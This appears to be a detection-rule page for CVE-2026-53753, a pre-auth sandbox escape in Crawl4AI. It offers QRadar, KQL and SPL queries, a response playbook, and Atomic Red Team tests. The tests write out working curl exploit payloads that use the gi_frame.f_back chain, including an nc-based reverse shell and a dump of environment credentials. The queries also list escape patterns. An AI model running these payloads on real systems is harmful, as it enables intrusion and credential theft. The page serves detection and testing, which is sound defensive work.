CVE-2026-53753 IBM QRadar · QRadar

Detect Crawl4AI AST Sandbox Escape via gi_frame.f_back Chain - Pre-Auth RCE in IBM QRadar

Detects exploitation of CVE-2026-53753, a critical pre-authentication remote code execution vulnerability in Crawl4AI (<=0.8.6) Docker API. The vulnerability allows attackers to escape Python AST-based sandboxing via generator frame introspection (gi_frame.f_back chain), enabling arbitrary code execution without authentication. CVSS 9.8 critical; public PoC available.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') as EventTime,
  sourceip, destinationip, destinationport,
  URL, "username", QIDNAME(qid) as EventName,
  CATEGORYNAME(category) as Category
FROM events
WHERE (destinationport IN (11235, 8080, 8000)
  AND (URL ILIKE '%/execute%' OR URL ILIKE '%/run%' OR URL ILIKE '%/crawl%'))
AND LOGSOURCETYPENAME(devicetype) IN ('Linux OS', 'Docker', 'Nginx', 'Apache HTTP Server')
AND (payload ILIKE '%gi_frame%' OR payload ILIKE '%f_back%' OR payload ILIKE '%__globals__%'
  OR payload ILIKE '%__builtins__%' OR payload ILIKE '%os.system%' OR payload ILIKE '%__import__%')
LAST 24 HOURS
critical severity medium confidence

QRadar AQL query to detect inbound HTTP requests to Crawl4AI endpoints combined with payload patterns indicating AST sandbox escape exploitation of CVE-2026-53753.

Data Sources

QRadar Network ActivityLinux OS log sourceDocker log sourceWeb server logs

Required Tables

events

False Positives & Tuning

  • Legitimate web scraping services using Crawl4AI with dynamic code features
  • Penetration testing activity against internally deployed Crawl4AI instances
  • Debug-mode Python applications that expose frame introspection in logs
  • Log aggregation pipelines that include raw Python tracebacks referencing frame attributes

Other platforms for CVE-2026-53753

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-53753 Basic Sandbox Escape via gi_frame

    Expected signal: HTTP POST to /execute endpoint followed by Python process executing os.system('id') and writing to /tmp/crawl4ai_pwned.txt; child process of uvicorn/gunicorn spawning /bin/sh

  2. Test 2CVE-2026-53753 Remote Code Execution with Reverse Shell

    Expected signal: Outbound TCP connection from Crawl4AI container to attacker IP on port 4444; subprocess.Popen spawning bash with stdin redirected to network socket

  3. Test 3CVE-2026-53753 Credential Exfiltration from Container Environment

    Expected signal: HTTP POST with gi_frame payload followed by Python reading os.environ; response containing environment variable key-value pairs potentially including API_KEY, DATABASE_URL, VAULT_TOKEN

  4. Test 4CVE-2026-53753 Unauthenticated Version Fingerprinting

    Expected signal: Unauthenticated HTTP GET to /health or root endpoint returning Crawl4AI version information without requiring credentials

Last updated: 2026-07-01 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify the source IP and confirm whether the request originated from an internal host, known partner, or external internet address. Cross-reference against threat intelligence feeds for known scanner/attacker IPs.
  2. Verify whether the targeted Crawl4AI instance is version <=0.8.6 by querying the container image tag or running `pip show crawl4ai` inside the container to confirm exposure.
  3. Inspect the HTTP request body/payload for the presence of gi_frame, f_back, __globals__, __builtins__, os.system, or __import__ strings indicating an active sandbox escape attempt.
  4. Review Docker container process tree immediately following the suspicious request to determine if child processes (e.g., /bin/sh, curl, wget) were spawned, indicating successful exploitation.

Containment

  1. Immediately block inbound access to Crawl4AI API ports (default 11235) at the network perimeter or host-based firewall using: `iptables -I INPUT -p tcp --dport 11235 -j DROP` and remove any public-facing exposure.
  2. Stop and isolate the affected Crawl4AI container: `docker stop <container_id>` and preserve container state as a forensic snapshot before termination: `docker export <container_id> > crawl4ai_forensic_$(date +%s).tar`
  3. Revoke any API keys, tokens, or credentials that may have been accessible to the Crawl4AI process environment variables or mounted volumes.

Evidence Collection

  1. Capture full Docker container logs for the incident window: `docker logs --since 2h <container_id> > crawl4ai_incident_logs.txt` and preserve HTTP access logs from the reverse proxy (nginx/traefik) covering the same window.
  2. Extract the Python process memory dump or core dump if available, and collect `/proc/<pid>/environ`, `/proc/<pid>/cmdline`, and `/proc/<pid>/maps` for any suspicious child processes spawned by the Crawl4AI service.
  3. Collect network captures (pcap) from the Docker bridge interface using `tcpdump -i docker0 -w crawl4ai_traffic.pcap` covering the incident window for full payload reconstruction.

Escalation Criteria

  • !Escalate immediately to incident response if any lateral movement indicators are found, such as outbound connections from the Crawl4AI container to internal network segments, credential stores (Vault, K8s secrets), or external C2 infrastructure.
  • !Escalate if the Crawl4AI process or its children wrote files outside expected directories, modified system binaries, established persistence (cron, systemd units, authorized_keys), or exfiltrated data to external endpoints.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Crawl4AI HTTP access logs containing payloads with gi_frame, f_back, __globals__, or __builtins__ strings
  • >Python process command line arguments or environment captured in /proc/<pid>/cmdline and /proc/<pid>/environ
  • >Docker container filesystem modifications: new files in /tmp, /var/tmp, or cron directories
  • >Outbound network connections from the Crawl4AI container process to unexpected external IPs
  • >Bash history or shell command logs if the attacker obtained interactive shell access post-exploitation

Tuning Guidance

Reduce false positives by filtering on known-good source IPs (internal security scanners, monitoring agents) and excluding development/QA environments where dynamic Python execution is expected. Increase confidence by requiring both the network event (inbound HTTP to Crawl4AI port) AND the process event (Python child with escape patterns) within the correlation window. If Crawl4AI is not deployed in your environment, this detection can be used as an opportunistic scan detector by alerting on any inbound connections to port 11235 from external IPs.

Hunting Queries

Threat hunt for historical Crawl4AI sandbox escape exploitation attempts over the past 7 days, searching for AST frame introspection patterns in process command lines and container logs.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort in (11235, 8080, 8000)
| where ActionType == "InboundConnectionAccepted"
| join kind=inner (
    DeviceProcessEvents
    | where TimeGenerated > ago(7d)
    | where ProcessCommandLine has_any ("gi_frame", "f_back", "__globals__", "__builtins__", "os.popen", "eval(", "exec(")
    | where InitiatingProcessFileName has_any ("python", "uvicorn", "gunicorn")
) on DeviceId
| summarize count() by DeviceName, RemoteIP, ProcessCommandLine
| sort by count_ desc
Hunting — SPL
spl 
index=* (sourcetype=docker_logs OR sourcetype=syslog) earliest=-7d
| regex _raw="(gi_frame|f_back|__globals__|__builtins__|os\.popen|eval\(|exec\()"
| stats count by host, _raw
| sort - count

Atomic Red Team Tests

Test 1 CVE-2026-53753 Basic Sandbox Escape via gi_frame
linux

Simulates the minimal AST sandbox escape payload targeting Crawl4AI <=0.8.6 by sending a crafted HTTP request to the Docker API endpoint that traverses generator frame objects to access __builtins__ and execute system commands.

Command

bash 
curl -s -X POST http://localhost:11235/execute -H 'Content-Type: application/json' -d '{"code": "(x for x in []).gi_frame.f_back.f_globals[\"__builtins__\"][\"__import__\"](\"os\").system(\"id > /tmp/crawl4ai_pwned.txt\")"}'

Cleanup

bash 
rm -f /tmp/crawl4ai_pwned.txt

Expected Telemetry

HTTP POST to /execute endpoint followed by Python process executing os.system('id') and writing to /tmp/crawl4ai_pwned.txt; child process of uvicorn/gunicorn spawning /bin/sh

Expected Detection

Alert on gi_frame and __builtins__ in HTTP request payload; process creation event for /bin/sh with parent uvicorn or gunicorn

Test 2 CVE-2026-53753 Remote Code Execution with Reverse Shell
linux

Demonstrates full exploitation impact by using the sandbox escape to establish a reverse shell from the Crawl4AI container to an attacker-controlled listener, simulating post-exploitation lateral movement potential.

Command

bash 
# Attacker listener (terminal 1):
nc -lvnp 4444
# Exploit request (terminal 2):
curl -s -X POST http://localhost:11235/execute -H 'Content-Type: application/json' -d '{"code": "(x for x in []).gi_frame.f_back.f_globals[\"__builtins__\"][\"__import__\"](\"subprocess\").Popen([\"bash\",\"-i\"],stdin=open(\"/dev/tcp/127.0.0.1/4444\"),stdout=-1,stderr=-1)"}'

Cleanup

bash 
Kill netcat listener; docker restart crawl4ai-container

Expected Telemetry

Outbound TCP connection from Crawl4AI container to attacker IP on port 4444; subprocess.Popen spawning bash with stdin redirected to network socket

Expected Detection

Alert on subprocess.Popen and f_back in payload; network event showing outbound connection from Python process to external IP

Test 3 CVE-2026-53753 Credential Exfiltration from Container Environment
linux

Simulates post-exploitation credential theft by using the sandbox escape to read environment variables from the Crawl4AI container, which may contain API keys, database credentials, or Vault tokens.

Command

bash 
curl -s -X POST http://localhost:11235/execute -H 'Content-Type: application/json' -d '{"code": "(x for x in []).gi_frame.f_back.f_globals[\"__builtins__\"][\"__import__\"](\"os\").environ.copy()"}'

Cleanup

bash 
Rotate any credentials exposed in container environment variables

Expected Telemetry

HTTP POST with gi_frame payload followed by Python reading os.environ; response containing environment variable key-value pairs potentially including API_KEY, DATABASE_URL, VAULT_TOKEN

Expected Detection

Alert on gi_frame and os.environ access pattern; data exfiltration event if environment variables returned in HTTP response body

Test 4 CVE-2026-53753 Unauthenticated Version Fingerprinting
linux

Demonstrates unauthenticated fingerprinting of Crawl4AI version to confirm exposure to CVE-2026-53753 before exploitation, as no authentication is required for the Docker API endpoint.

Command

bash 
curl -s http://localhost:11235/health | python3 -m json.tool; curl -s http://localhost:11235/ | grep -i version

Cleanup

bash 
No cleanup required for passive fingerprinting

Expected Telemetry

Unauthenticated HTTP GET to /health or root endpoint returning Crawl4AI version information without requiring credentials

Expected Detection

Network event showing unauthenticated access to Crawl4AI management endpoint from external IP; may trigger if coupled with subsequent exploit attempt

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.006PythonT1611Escape to HostT1552.001Credentials In Files

Same Tactic: Initial Access

Popular Detections